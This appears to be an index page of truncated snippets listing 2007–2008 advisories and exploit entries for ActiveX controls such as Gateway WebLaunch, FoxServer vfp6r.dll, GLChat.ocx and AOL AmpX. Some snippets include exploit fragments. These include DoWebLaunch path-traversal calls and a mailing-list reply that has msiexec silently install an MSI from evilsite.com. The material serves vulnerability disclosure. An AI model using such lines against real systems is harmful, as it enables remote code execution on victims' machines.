Microsoft VFP_OLE_Server ActiveX Remote Command Execution

No description provided by source. pre codespan style="font: 10pt Courier New;"span class="general1-symbol"body bgcolor="E0E0E0"----------------------------------------------------------------------------- bMicrosoft VFPOLEServer Remote Command Execution/b url: http://www.microsoft.com Author:...

Microsoft FoxServer (vfp6r.dll 6.0.8862.0) ActiveX Command Execution

No description provided by source. pre codespan style="font: 10pt Courier New;"span class="general1-symbol"body bgcolor="E0E0E0"----------------------------------------------------------------------------- bMicrosoft FoxServer vfp6r.dll 6.0.8862.0 Remote Command Execution/b...

Apple QuickTime RTSP Response message Reason-Phrase buffer overflow vulnerability

Overview Apple QuickTime contains a buffer overflow vulnerability that may allow a remote, unauthenticated attacker to cause a denial-of-service condition and possibly execute arbitrary code. Description Real Time Streaming Protocol RTSP is a protocol that is used by streaming media systems. Appl...

CVE-2007-6250

Stack-based buffer overflow in AOL AOLMediaPlaybackControl AOLMediaPlaybackControl.exe, as used by AmpX ActiveX control AmpX.dll, might allow remote attackers to execute arbitrary code via the AppendFileToPlayList method...

Re: [Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method

I was playing with this a bit more. Everybody has the Windows Installer installed, right? How about this: obj.DoWebLaunch"","........windowssystem32msiexec.exe", "","/i http://www.evilsite.com/evilapp.msi /quiet"; Elazar On Tue, 08 Jan 2008 20:08:53 -0500 [email protected] wrote: The DoWebLaunc...

weblaunch-insecure.txt

Gateway Weblaunch ActiveX Control Insecure Method Exploit function Check //escape from systemdrive\documents and settings\username\local settings\temp obj.DoWebLaunch"","..\..\..\..\windows\system32\calc.exe","",""; Unable to create object...

Gateway Weblaunch ActiveX Control Insecure Method Exploit

No description provided by source. !-- Gateway Weblaunch ActiveX Control Insecure Method Exploit Implemented Categories: Category: Safe for Initialising Category: Safe for Scripting Written by e.b. Tested on Windows XP SP2fully patched English, IE6, weblaunch.ocx version 1.0.0.1...

GlobalLink GLChat.ocx 2.5.1 - ActiveX Control ChatRoom() Remote Buffer Overflow

GlobalLink GLChat.ocx 2.5.1 - ActiveX Control ChatRoom Remote Buffer Overflow source: https://www.securityfocus.com/bid/27393/info GlobalLink 'GLChat.ocx' ActiveX control is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it int...

Microsoft FoxServer - vfp6r.dll 6.0.8862.0 ActiveX Command Execution

Microsoft FoxServer - vfp6r.dll 6.0.8862.0 ActiveX Command Execution ----------------------------------------------------------------------------- Microsoft FoxServer vfp6r.dll 6.0.8862.0 Remote Command Execution url: http://www.microsoft.com Author: shinnai mail: shinnaiatautisticidotorg site:...

Gateway WebLauncher ActiveX code execution

Insecure methods and buffer overflows...

[Full-disclosure] Gateway WebLaunch ActiveX Control Insecure Method

The DoWebLaunch method of the Gateway WebLauncher ActiveX control allows for the execution or arbitrary application on a system, additionally this method is vulnerable to a buffer overflow in the 2nd and 4th parameters. Both weblaunch.ocx and weblaunch2.ocx allow the execution of arbitrary files,...

CVE-2007-6250: Improper Restriction of Operations within the Bounds of a Memory Buffer

Stack-based buffer overflow in AOL AOLMediaPlaybackControl AOLMediaPlaybackControl.exe, as used by AmpX ActiveX control AmpX.dll, might allow remote attackers to execute arbitrary code via the AppendFileToPlayList method...

Microsoft FoxServer (vfp6r.dll 6.0.8862.0) ActiveX Command Execution

Exploit for unknown platform in category remote exploits ==================================================================== Microsoft FoxServer vfp6r.dll 6.0.8862.0 ActiveX Command Execution ====================================================================...

GlobalLink 'GLChat.ocx' 2.5.1 - ActiveX Control 'ChatRoom()' Remote Buffer Overflow

source: https://www.securityfocus.com/bid/27393/info GlobalLink 'GLChat.ocx' ActiveX control is prone to a buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. Successfully exploiting this issue...

AOL Radio AOLMediaPlaybackControl.exe stack buffer overflow

Overview The AOL AOLMediaPlaybackControl application contains a stack buffer overflow, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable system. Description AOL Radio includes several ActiveX controls to stream audio in web pages. The AOL AmpX and...

Gateway Weblaunch ActiveX Control Insecure Method Exploit

Exploit for unknown platform in category remote exploits ========================================================= Gateway Weblaunch ActiveX Control Insecure Method Exploit ========================================================= Gateway Weblaunch ActiveX Control Insecure Method Exploit function...

Gateway Weblaunch - ActiveX Control Insecure Method

Gateway Weblaunch - ActiveX Control Insecure Method Gateway Weblaunch ActiveX Control Insecure Method Exploit function Check //escape from systemdrive\documents and settings\username\local settings\temp obj.DoWebLaunch"","..\..\..\..\windows\system32\calc.exe","",""; Unable to create object...

Gateway Weblaunch - ActiveX Control Insecure Method

Gateway Weblaunch ActiveX Control Insecure Method Exploit function Check //escape from systemdrive\documents and settings\username\local settings\temp obj.DoWebLaunch"","..\..\..\..\windows\system32\calc.exe","",""; Unable to create object milw0rm.com 2008-01-08...

Gateway CWebLaunchCtl ActiveX control buffer overflow

Overview The Gateway CWebLaunchCtl ActiveX control contains a buffer overflow, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable sytem. Description The Gateway Computers CWebLaunchCtlActiveX control, which is provided by weblaunch.ocx and weblaunch2.ocx,...

AOL Radio AmpX ActiveX Control Buffer Overflow (CVE-2007-5755)

AOL Radio is a free online radio service provided by America Online. Multiple buffer overflow vulnerabilities exist in AOL Radio. These vulnerabilities are due to boundary errors in the AOL Radio AmpX ActiveX Control. To trigger this issue, an attacker may create a malicious web page that will...